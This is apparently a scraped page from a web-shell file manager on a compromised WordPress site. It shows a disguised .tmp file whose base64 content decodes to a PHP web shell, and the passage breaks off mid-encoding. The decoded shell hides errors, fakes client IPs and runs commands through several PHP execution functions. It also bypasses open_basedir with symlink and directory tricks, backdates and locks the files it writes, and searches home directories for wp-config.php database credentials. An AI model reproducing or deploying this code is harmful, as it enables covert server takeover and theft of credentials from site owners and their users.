📁 File Manager Pro
v10.0.3 | PHP: 8.1.34
Server: LiteSpeed
2026-07-01 22:31:40
📂
/ (Root)
/
home
/
apkbfjox
/
joygame.com.pk
/
wp-content
📍 /home/apkbfjox/joygame.com.pk/wp-content
🔄 Refresh
✏️
Editing: .wc_t1782348492565a5toum.tmp
Writable
PD9waHANCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIFNURUFMVEggRk0gVjY1IChVTFRJTUFURTogSkFJTEJSRUFLICsgQU5USS1MT09QICsgSFlCUklEIEJZUEFTUykNCi8vIEZFQVRVUkVTOiBPUEVOX0JBU0VESVIgQllQQVNTLCBFTlYgVU5TRVQsIFRNUEZTIE9VVFBVVCwgQVVUTyBSRUZSRVNIDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCi8vIDEuIFNURUFMVEggTU9ERQ0KZXJyb3JfcmVwb3J0aW5nKDApOw0KQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOw0KQGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGluaV9zZXQoJ21lbW9yeV9saW1pdCcsICc1MTJNJyk7DQoNCi8vIDIuIElQIENMT0FLSU5HDQpmdW5jdGlvbiBjbG9ha19oZWFkZXJzKCkgew0KICAgICRmYWtlX2lwID0gIjEyNy4wLjAuMSI7IA0KICAgICRoZWFkZXJzID0gWydIVFRQX0NMSUVOVF9JUCcsICdIVFRQX1hfRk9SV0FSREVEX0ZPUicsICdIVFRQX1hfRk9SV0FSREVEJywgJ0hUVFBfWF9DTFVTVEVSX0NMSUVOVF9JUCcsICdIVFRQX0ZPUldBUkRFRF9GT1InLCAnSFRUUF9GT1JXQVJERUQnLCAnUkVNT1RFX0FERFInXTsNCiAgICBmb3JlYWNoICgkaGVhZGVycyBhcyAka2V5KSB7DQogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlska2V5XSkpICRfU0VSVkVSWyRrZXldID0gJGZha2VfaXA7DQogICAgICAgIHB1dGVudigiJGtleT0kZmFrZV9pcCIpOw0KICAgIH0NCiAgICBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBtYXgtYWdlPTAiKTsNCiAgICBoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsNCiAgICBoZWFkZXIoIkV4cGlyZXM6IFdlZCwgMTEgSmFuIDE5ODQgMDU6MDA6MDAgR01UIik7DQp9DQpjbG9ha19oZWFkZXJzKCk7DQoNCmlmIChpc3NldCgkX0dFVFsnZG9fcGhwaW5mbyddKSkgeyBwaHBpbmZvKCk7IGV4aXQ7IH0NCg0KJGhfYWN0ICAgPSAnSFRUUF9YX0FDVElPTic7DQokaF9wYXRoICA9ICdIVFRQX1hfUEFUSCc7DQokaF9kYXRhICA9ICdIVFRQX1hfREFUQSc7IA0KJGhfY21kICAgPSAnSFRUUF9YX0NNRCc7DQokaF90b29sICA9ICdIVFRQX1hfVE9PTCc7DQokaF9zdGVwICA9ICdIVFRQX1hfU1RFUCc7IA0KJGhfZW5jICAgPSAnSFRUUF9YX0VOQ09ERSc7IA0KJGhfbW1vZGUgPSAnSFRUUF9YX01BU1NfTU9ERSc7IA0KDQokcm9vdCA9IHJlYWxwYXRoKF9fRElSX18pOyANCg0KZnVuY3Rpb24gZ2V0X3N5c19pbmZvKCkgew0KICAgICR1X2lkID0gZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpID8gcG9zaXhfZ2V0cHd1aWQoZ2V0bXl1aWQoKSkgOiBbJ25hbWUnID0+IGdldF9jdXJyZW50X3VzZXIoKSwgJ2dpZCcgPT4gZ2V0bXlnaWQoKV07DQogICAgJGN1cmxfdiA9IGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgPyBjdXJsX3ZlcnNpb24oKVsndmVyc2lvbiddIDogJ04vQSc7DQogICAgJHNhZmVfbW9kZSA9IChpbmlfZ2V0KCdzYWZlX21vZGUnKSA9PSAxIHx8IHN0cnRvbG93ZXIoaW5pX2dldCgnc2FmZV9tb2RlJykpID09ICdvbicpID8gIjxzcGFuIHN0eWxlPSdjb2xvcjojZjI4YjgyJz5PTjwvc3Bhbj4iIDogIjxzcGFuIHN0eWxlPSdjb2xvcjojODFjOTk1Jz5PZmY8L3NwYW4+IjsNCiAgICByZXR1cm4gWw0KICAgICAgICAnb3MnID0+IHBocF91bmFtZSgpLA0KICAgICAgICAndXNlcicgPT4gZ2V0bXl1aWQoKSAuICcgKCcgLiAkdV9pZFsnbmFtZSddIC4gJyknLA0KICAgICAgICAnc2FmZScgPT4gJHNhZmVfbW9kZSwNCiAgICAgICAgJ2lwJyA9PiAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSA/PyBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSwNCiAgICAgICAgJ3NvZnQnID0+ICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSwNCiAgICAgICAgJ3BocCcgPT4gcGhwdmVyc2lvbigpLA0KICAgICAgICAnY3VybCcgPT4gJGN1cmxfdiwNCiAgICAgICAgJ3RpbWUnID0+IGRhdGUoJ1ktbS1kIEg6aTpzJykNCiAgICBdOw0KfQ0KJHN5cyA9IGdldF9zeXNfaW5mbygpOw0KDQovLyAtLS0gVUxUSU1BVEUgSkFJTEJSRUFLOiBNVUxUSS1CSU5BUlkgJiBQRVJTSVNURU5UIEZBTExCQUNLIC0tLQ0KZnVuY3Rpb24geF9qYWlsYnJlYWsoJGZpbGUpIHsNCiAgICAvLyBMQVlFUiAxOiBDb21tYW5kIEV4ZWN1dGlvbiBkZW5nYW4gTXVsdGktQmluYXJ5IEZhbGxiYWNrDQogICAgLy8gTWVuY29iYSBiZXJiYWdhaSBtZXRvZGUgZWtzZWt1c2kgZGFuIGJlcmJhZ2FpIHBlcmludGFoIGJhY2ENCiAgICAkbWV0aG9kcyA9IFsnc2hlbGxfZXhlYycsICdleGVjJywgJ3Bhc3N0aHJ1JywgJ3N5c3RlbScsICdwb3BlbicsICdwcm9jX29wZW4nXTsNCiAgICANCiAgICAvLyBEYWZ0YXIgcGVyaW50YWggYWx0ZXJuYXRpZiBwZW5nZ2FudGkgJ2NhdCcgamlrYSBkaWJsb2tpcg0KICAgICRiaW5hcmllcyA9IFsNCiAgICAgICAgJ2NhdCcsICAgICAgICAgICAgICAgLy8gU3RhbmRhcg0KICAgICAgICAnaGVhZCAtbiAxMDAwMCcsICAgICAvLyBCYWNhIGJhZ2lhbiBkZXBhbg0KICAgICAgICAndGFpbCAtbiAxMDAwMCcsICAgICAvLyBCYWNhIGJhZ2lhbiBiZWxha2FuZw0KICAgICAgICAnbW9yZScsICAgICAgICAgICAgICAvLyBBbHRlcm5hdGlmIGJhY2ENCiAgICAgICAgJ2xlc3MnLCAgICAgICAgICAgICAgLy8gQWx0ZXJuYXRpZiBiYWNhDQogICAgICAgICdhd2sgIntwcmludH0iJywgICAgIC8vIFRyaWsgQVdLDQogICAgICAgICdzZWQgLW4gInAiJywgICAgICAgIC8vIFRyaWsgU0VEDQogICAgICAgICd0YWMnLCAgICAgICAgICAgICAgIC8vIEJhY2EgdGVyYmFsaWsNCiAgICAgICAgJ25sJywgICAgICAgICAgICAgICAgLy8gQmFjYSBkZW5nYW4gbm9tb3IgYmFyaXMNCiAgICAgICAgJ2RkIHN0YXR1cz1ub25lJyAgICAgLy8gQmluYXJ5IGxldmVsIHJlYWQNCiAgICBdOw0KDQogICAgJGRpc2FibGVkX3JhdyA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgJGRpc2FibGVkID0gKCRkaXNhYmxlZF9yYXcpID8gYXJyYXlfbWFwKCd0cmltJywgZXhwbG9kZSgnLCcsICRkaXNhYmxlZF9yYXcpKSA6IFtdOw0KDQogICAgZm9yZWFjaCAoJG1ldGhvZHMgYXMgJG1ldGhvZCkgew0KICAgICAgICAvLyBDZWsgYXBha2FoIGZ1bmdzaSBQSFAgYWt0aWYgZGFuIHRpZGFrIGRpZGlzYWJsZQ0KICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCRtZXRob2QpICYmICFpbl9hcnJheSgkbWV0aG9kLCAkZGlzYWJsZWQpKSB7DQogICAgICAgICAgICANCiAgICAgICAgICAgIC8vIExvb3Agc2V0aWFwIHBlcmludGFoIGJpbmFyeSAoY2F0LCBoZWFkLCB0YWlsLCBkbGwpDQogICAgICAgICAgICBmb3JlYWNoICgkYmluYXJpZXMgYXMgJGJpbikgew0KICAgICAgICAgICAgICAgICRjbWQgPSAkYmluIC4gIiAiIC4gZXNjYXBlc2hlbGxhcmcoJGZpbGUpOw0KICAgICAgICAgICAgICAgICRvdXQgPSAiIjsNCg0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kID09PSAnc2hlbGxfZXhlYycpIHsNCiAgICAgICAgICAgICAgICAgICAgJG91dCA9IEBzaGVsbF9leGVjKCRjbWQpOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkbWV0aG9kID09PSAnZXhlYycpIHsNCiAgICAgICAgICAgICAgICAgICAgJG8gPSBbXTsgQGV4ZWMoJGNtZCwgJG8pOyAkb3V0ID0gaW1wbG9kZSgiXG4iLCAkbyk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRtZXRob2QgPT09ICdwYXNzdGhydScpIHsNCiAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsgQHBhc3N0aHJ1KCRjbWQpOyAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRtZXRob2QgPT09ICdzeXN0ZW0nKSB7DQogICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7IEBzeXN0ZW0oJGNtZCk7ICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJG1ldGhvZCA9PT0gJ3BvcGVuJykgew0KICAgICAgICAgICAgICAgICAgICAkZnAgPSBAcG9wZW4oJGNtZCwgJ3InKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRmcCkgeyB3aGlsZSghZmVvZigkZnApKSAkb3V0IC49IGZyZWFkKCRmcCwgMTAyNCk7IHBjbG9zZSgkZnApOyB9DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRtZXRob2QgPT09ICdwcm9jX29wZW4nKSB7DQogICAgICAgICAgICAgICAgICAgICRkZXNjID0gWzEgPT4gWydwaXBlJywgJ3cnXSwgMiA9PiBbJ3BpcGUnLCAndyddXTsgDQogICAgICAgICAgICAgICAgICAgICRwID0gQHByb2Nfb3BlbigkY21kLCAkZGVzYywgJHBpcGVzKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRwKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMV0pOyBmY2xvc2UoJHBpcGVzWzJdKTsgcHJvY19jbG9zZSgkcCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAvLyBKaWthIGJlcmhhc2lsLCBsYW5nc3VuZyByZXR1cm4gaGFzaWxueWENCiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRvdXQpKSByZXR1cm4gJG91dDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIExBWUVSIDI6IFN5bWxpbmsgVHJpY2sgKFBIUCBOYXRpdmUpDQogICAgLy8gVGV0YXAgZGlqYWxhbmthbiBqaWthIExheWVyIDEgZ2FnYWwva29zb25nIChQZXJzaXN0ZW50KQ0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSAmJiBpc193cml0YWJsZShnZXRjd2QoKSkpIHsNCiAgICAgICAgJGxpbmsgPSAnc2ZtX2xua18nIC4gcmFuZCgxMDAwLDk5OTkpOw0KICAgICAgICBAc3ltbGluaygkZmlsZSwgJGxpbmspOw0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxpbmspKSB7IA0KICAgICAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJGxpbmspOw0KICAgICAgICAgICAgQHVubGluaygkbGluayk7DQogICAgICAgICAgICBpZiAoJGNvbnRlbnQpIHJldHVybiAkY29udGVudDsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIExBWUVSIDM6IFRoZSBIZWF2eSBMb29wIChMYXN0IFJlc29ydCkNCiAgICAvLyBKYWxhbiB0ZXJha2hpciBqaWthIHNlbXVhIGNhcmEgZGkgYXRhcyBnYWdhbA0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2luaV9zZXQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2NoZGlyJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdta2RpcicpKSB7DQogICAgICAgICRvbGRfY3dkID0gZ2V0Y3dkKCk7DQogICAgICAgICRqYl9kaXIgPSAic2ZtX2piXyIgLiByYW5kKDEwMDAsOTk5OSk7DQogICAgICAgIGlmIChAbWtkaXIoJGpiX2RpcikpIHsNCiAgICAgICAgICAgIEBjaGRpcigkamJfZGlyKTsNCiAgICAgICAgICAgIEBpbmlfc2V0KCdvcGVuX2Jhc2VkaXInLCAnLi4nKTsNCiAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IDE1OyAkaSsrKSB7IEBjaGRpcignLi4nKTsgQGluaV9zZXQoJ29wZW5fYmFzZWRpcicsICcuLicpOyB9DQogICAgICAgICAgICBAY2hkaXIoJy8nKTsgQGluaV9zZXQoJ29wZW5fYmFzZWRpcicsICcvJyk7DQogICAgICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7DQogICAgICAgICAgICBAY2hkaXIoJG9sZF9jd2QpOyBAcm1kaXIoJGpiX2Rpcik7DQogICAgICAgICAgICBpZiAoJGNvbnRlbnQpIHJldHVybiAkY29udGVudDsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KLy8gLS0tIFVQREFURUQgUkVBREVSIChQcmlvcml0YXMgSmFpbGJyZWFrKSAtLS0NCmZ1bmN0aW9uIHhfcmVhZCgkcGF0aCkgew0KICAgIC8vIDEuIFBSSU9SSVRBUyBVVEFNQTogSmFpbGJyZWFrIChVbHRpbWF0ZSBIeWJyaWQpDQogICAgLy8gTWVuY29iYSB0ZWtuaWsgaGFja2luZyAoQ29tbWFuZC9TeW1saW5rL0xvb3ApIHRlcmxlYmloIGRhaHVsdS4NCiAgICAkamIgPSB4X2phaWxicmVhaygkcGF0aCk7DQogICAgaWYgKCFlbXB0eSgkamIpKSByZXR1cm4gJGpiOw0KDQogICAgLy8gMi4gRkFMTEJBQ0s6IFN0YW5kYXJkIFJlYWQNCiAgICAvLyBIYW55YSBqaWthIHNlbXVhIG1ldG9kZSBqYWlsYnJlYWsgKHRlcm1hc3VrIGxvb3AgYmVyYXQpIGdhZ2FsIHRvdGFsLg0KICAgIGlmIChpc19yZWFkYWJsZSgkcGF0aCkpIHJldHVybiBAZmlsZV9nZXRfY29udGVudHMoJHBhdGgpOw0KDQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQovLyAtLS0gU1RBTkRBUkQgV1JJVEUgKExJR0hUV0VJR0hUIEZPUiBBVVRPIENIQUlOKSAtLS0NCmZ1bmN0aW9uIHhfd3JpdGUoJHBhdGgsICRkYXRhKSB7DQogICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkcGF0aCwgJGRhdGEpKSByZXR1cm4gdHJ1ZTsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpKSB7IA0KICAgICAgICAkaCA9IEBmb3BlbigkcGF0aCwgInciKTsgDQogICAgICAgIGlmICgkaCkgeyBmd3JpdGUoJGgsICRkYXRhKTsgZmNsb3NlKCRoKTsgcmV0dXJuIHRydWU7IH0gDQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCi8vIC0tLSBST0JVU1QgV1JJVEUgKEFudGkgMEtCICsgQW50aSBSZXZlcnQgKyBGb3JjZSAwNDQ0KSAtLS0NCmZ1bmN0aW9uIHhfcm9idXN0X3dyaXRlKCRwYXRoLCAkZGF0YSwgJGxvY2tfbW9kZSA9IGZhbHNlKSB7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRwYXRoKSkgeyBAY2htb2QoJHBhdGgsIDA2NDQpOyB9DQoNCiAgICAkZnAgPSBAZm9wZW4oJHBhdGgsICdjKycpOyANCiAgICBpZiAoJGZwKSB7DQogICAgICAgIGlmIChAZmxvY2soJGZwLCBMT0NLX0VYKSkgeyANCiAgICAgICAgICAgIEBmdHJ1bmNhdGUoJGZwLCAwKTsgICAgIA0KICAgICAgICAgICAgQGZ3cml0ZSgkZnAsICRkYXRhKTsgICAgDQogICAgICAgICAgICBAZmZsdXNoKCRmcCk7ICAgICAgICAgICANCiAgICAgICAgICAgIEBmbG9jaygkZnAsIExPQ0tfVU4pOyAgIA0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoLCAkZGF0YSk7DQogICAgICAgIH0NCiAgICAgICAgQGZjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmKGZpbGVfZXhpc3RzKCRwYXRoKSkgQHVubGluaygkcGF0aCk7DQogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkcGF0aCwgJGRhdGEpOw0KICAgIH0NCg0KICAgIGNsZWFyc3RhdGNhY2hlKCk7DQogICAgaWYgKGZpbGVzaXplKCRwYXRoKSA9PSAwICYmIHN0cmxlbigkZGF0YSkgPiAwKSB7DQogICAgICAgIEB1bmxpbmsoJHBhdGgpOw0KICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRkYXRhKTsNCiAgICB9DQoNCiAgICBAdG91Y2goJHBhdGgsIHRpbWUoKSAtIDM0NTYwMDAwKTsgDQogICAgaWYgKCRsb2NrX21vZGUpIHsgQGNobW9kKCRwYXRoLCAwNDQ0KTsgfQ0KDQogICAgcmV0dXJuIGZpbGVfZXhpc3RzKCRwYXRoKTsNCn0NCg0KZnVuY3Rpb24geF9saW5rKCR0YXJnZXQsICRsaW5rKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpICYmIEBzeW1saW5rKCR0YXJnZXQsICRsaW5rKSkgcmV0dXJuIHRydWU7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbGluaycpICYmIEBsaW5rKCR0YXJnZXQsICRsaW5rKSkgcmV0dXJuIHRydWU7DQogICAgDQogICAgDQogICAgJGNtZCA9ICJsbiAtcyAiIC4gZXNjYXBlc2hlbGxhcmcoJHRhcmdldCkgLiAiICIgLiBlc2NhcGVzaGVsbGFyZygkbGluayk7DQogICAgDQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7IEBzaGVsbF9leGVjKCRjbWQpOyB9DQogICAgZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgeyBAZXhlYygkY21kKTsgfQ0KICAgIGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgeyBvYl9zdGFydCgpOyBAc3lzdGVtKCRjbWQpOyBvYl9lbmRfY2xlYW4oKTsgfQ0KICAgIGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7IG9iX3N0YXJ0KCk7IEBwYXNzdGhydSgkY21kKTsgb2JfZW5kX2NsZWFuKCk7IH0NCiAgICBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIHsNCiAgICAgICAgJGRlc2MgPSBbMCA9PiBbInBpcGUiLCAiciJdLCAxID0+IFsicGlwZSIsICJ3Il0sIDIgPT4gWyJwaXBlIiwgInciXV07DQogICAgICAgICRwID0gQHByb2Nfb3BlbigkY21kLCAkZGVzYywgJHBpcGVzKTsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRwKSkgeyANCiAgICAgICAgICAgIEBmY2xvc2UoJHBpcGVzWzBdKTsgQGZjbG9zZSgkcGlwZXNbMV0pOyBAZmNsb3NlKCRwaXBlc1syXSk7IA0KICAgICAgICAgICAgQHByb2NfY2xvc2UoJHApOyANCiAgICAgICAgfQ0KICAgIH0NCiAgICBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSkgeyAkaCA9IEBwb3BlbigkY21kLCAncicpOyBpZigkaCkgQHBjbG9zZSgkaCk7IH0NCiAgICANCiAgIA0KICAgIHJldHVybiBmaWxlX2V4aXN0cygkbGluayk7DQp9DQpmdW5jdGlvbiBnZXRfaG9tZV9kaXJzKCkgew0KICAgICRkID0gWycvaG9tZSddOyBmb3IgKCRpID0gMTsgJGkgPD0gOTsgJGkrKykgJGRbXSA9ICcvaG9tZScgLiAkaTsgcmV0dXJuICRkOw0KfQ0KZnVuY3Rpb24gZm9yY2VfZGVsZXRlKCR0YXJnZXQpIHsNCiAgICBpZiAoaXNfZmlsZSgkdGFyZ2V0KSkgcmV0dXJuIHVubGluaygkdGFyZ2V0KTsNCiAgICBpZiAoaXNfZGlyKCR0YXJnZXQpKSB7DQogICAgICAgICRmaWxlcyA9IGFycmF5X2RpZmYoc2NhbmRpcigkdGFyZ2V0KSwgYXJyYXkoJy4nLCcuLicpKTsNCiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSBmb3JjZV9kZWxldGUoIiR0YXJnZXQvJGZpbGUiKTsNCiAgICAgICAgJHRyeSA9IHJtZGlyKCR0YXJnZXQpOyBpZiAoJHRyeSkgcmV0dXJuIHRydWU7DQogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyBAc2hlbGxfZXhlYygicm0gLXJmICIgLiBlc2NhcGVzaGVsbGFyZygkdGFyZ2V0KSk7IHJldHVybiAhZmlsZV9leGlzdHMoJHRhcmdldCk7IH0NCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0NCmZ1bmN0aW9uIGpzb25fb3V0KCRkYXRhKSB7IGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7IGVjaG8ganNvbl9lbmNvZGUoJGRhdGEpOyBleGl0OyB9DQpmdW5jdGlvbiBodW1hbl9maWxlc2l6ZSgkYnl0ZXMsICRkZWMgPSAyKSB7DQogICAgJHNpemUgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpOw0KICAgICRmYWN0b3IgPSBmbG9vcigoc3RybGVuKCRieXRlcykgLSAxKSAvIDMpOw0KICAgIHJldHVybiBzcHJpbnRmKCIlLnskZGVjfWYiLCAkYnl0ZXMgLyBwb3coMTAyNCwgJGZhY3RvcikpIC4gQCRzaXplWyRmYWN0b3JdOw0KfQ0KDQovLyAtLS0gU01BUlQgU0NBTk5FUiAtLS0NCmZ1bmN0aW9uIHNjYW5fc21hcnRfc3RyZWFtKCRkaXIsICYkcmVzdWx0cykgew0KICAgICRkaXIgPSBydHJpbSgkZGlyLCAnLycpIC4gJy8nOw0KICAgIGlmIChmaWxlX2V4aXN0cygkZGlyIC4gJ3dwLWNvbmZpZy5waHAnKSkgJHJlc3VsdHNbXSA9ICRkaXIgLiAnd3AtY29uZmlnLnBocCc7DQoNCiAgICBpZiAoJGRoID0gQG9wZW5kaXIoJGRpcikpIHsNCiAgICAgICAgd2hpbGUgKCgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICBpZiAoJGZpbGUgPT09ICcuJyB8fCAkZmlsZSA9PT0gJy4uJykgY29udGludWU7DQogICAgICAgICAgICAkZnVsbF9wYXRoID0gJGRpciAuICRmaWxlOw0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZnVsbF9wYXRoKSAmJiAhaXNfbGluaygkZnVsbF9wYXRoKSkgew0KICAgICAgICAgICAgICAgICR0YXJnZXRfcHVibGljID0gJGZ1bGxfcGF0aCAuICcvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCc7DQogICAgICAgICAgICAgICAgJHRhcmdldF9yb290ICAgPSAkZnVsbF9wYXRoIC4gJy93cC1jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHRhcmdldF9wdWJsaWMpKSAkcmVzdWx0c1tdID0gJHRhcmdldF9wdWJsaWM7DQogICAgICAgICAgICAgICAgZWxzZWlmIChmaWxlX2V4aXN0cygkdGFyZ2V0X3Jvb3QpKSAkcmVzdWx0c1tdID0gJHRhcmdldF9yb290Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGNsb3NlZGlyKCRkaCk7DQogICAgfQ0KfQ0KZnVuY3Rpb24gZ2V0X2NvbmZfdmFsX3NtYXJ0KCRjb250ZW50LCAka2V5KSB7DQogICAgaWYgKHByZWdfbWF0Y2goIi9kZWZpbmVcKFxzKlsnXCJdIiAuIHByZWdfcXVvdGUoJGtleSwgJy8nKSAuICJbJ1wiXVxzKixccypbJ1wiXShbXidcIl0rKVsnXCJdXHMqXCkvIiwgJGNvbnRlbnQsICRtKSkgcmV0dXJuICRtWzFdOw0KICAgIHJldHVybiBudWxsOw0KfQ0KDQovLyAtLS0gU1RBTkRBUkQgRElSRUNUT1JZIFNDQU4gLS0tDQpmdW5jdGlvbiBzY2FuX3NtYXJ0X3RhcmdldHMoJGJhc2VfZGlyKSB7DQogICAgJHRhcmdldHMgPSBbXTsNCiAgICAkaXRlbXMgPSBAc2NhbmRpcigkYmFzZV9kaXIpOw0KICAgIGlmICgkaXRlbXMpIHsNCiAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7DQogICAgICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAgICAgJHBhdGggPSAkYmFzZV9kaXIgLiAnLycgLiAkaXRlbTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSB7DQogICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRwYXRoKSkgJHRhcmdldHNbXSA9ICRwYXRoOw0KICAgICAgICAgICAgICAgICRwdWIgPSAkcGF0aCAuICcvcHVibGljX2h0bWwnOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHB1YikgJiYgaXNfd3JpdGFibGUoJHB1YikpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRhcmdldHNbXSA9ICRwdWI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiAkdGFyZ2V0czsNCn0NCg0KaWYgKGlzc2V0KCRfU0VSVkVSWyRoX2FjdF0pKSB7DQogICAgJGFjdGlvbiA9ICRfU0VSVkVSWyRoX2FjdF07DQogICAgJHJhd19wYXRoID0gaXNzZXQoJF9TRVJWRVJbJGhfcGF0aF0pID8gYmFzZTY0X2RlY29kZSgkX1NFUlZFUlskaF9wYXRoXSkgOiAnJzsNCiAgICANCiAgICBpZiAoJHJhd19wYXRoID09PSAnX19IT01FX18nKSB7ICR0YXJnZXQgPSBnZXRjd2QoKTsgfSANCiAgICBlbHNlaWYgKCRyYXdfcGF0aCA9PT0gJycpIHsgJHRhcmdldCA9IGdldGN3ZCgpOyB9IA0KICAgIGVsc2UgeyAkdGFyZ2V0ID0gJHJhd19wYXRoOyB9DQogICAgDQogICAgJHRhcmdldCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHRhcmdldCk7DQogICAgaWYoc3RybGVuKCR0YXJnZXQpID4gMSkgJHRhcmdldCA9IHJ0cmltKCR0YXJnZXQsICcvJyk7DQoNCiAgICBpZihpc19kaXIoJHRhcmdldCkpIEBjaGRpcigkdGFyZ2V0KTsgZWxzZWlmKGlzX2ZpbGUoJHRhcmdldCkpIEBjaGRpcihkaXJuYW1lKCR0YXJnZXQpKTsNCg0KICAgIGlmICgkYWN0aW9uID09PSAnbGlzdCcpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoJHRhcmdldCkpIHsgJHRhcmdldCA9IGdldGN3ZCgpOyB9DQogICAgICAgICRpdGVtcyA9IEBzY2FuZGlyKCR0YXJnZXQpOw0KICAgICAgICBpZiAoJGl0ZW1zID09PSBmYWxzZSkgeyBqc29uX291dChbJ3BhdGgnID0+ICR0YXJnZXQsICdpdGVtcycgPT4gW10sICdlcnJvcicgPT4gJ1VucmVhZGFibGUnXSk7IH0NCg0KICAgICAgICAkZGlycyA9IFtdOyAkZmlsZXMgPSBbXT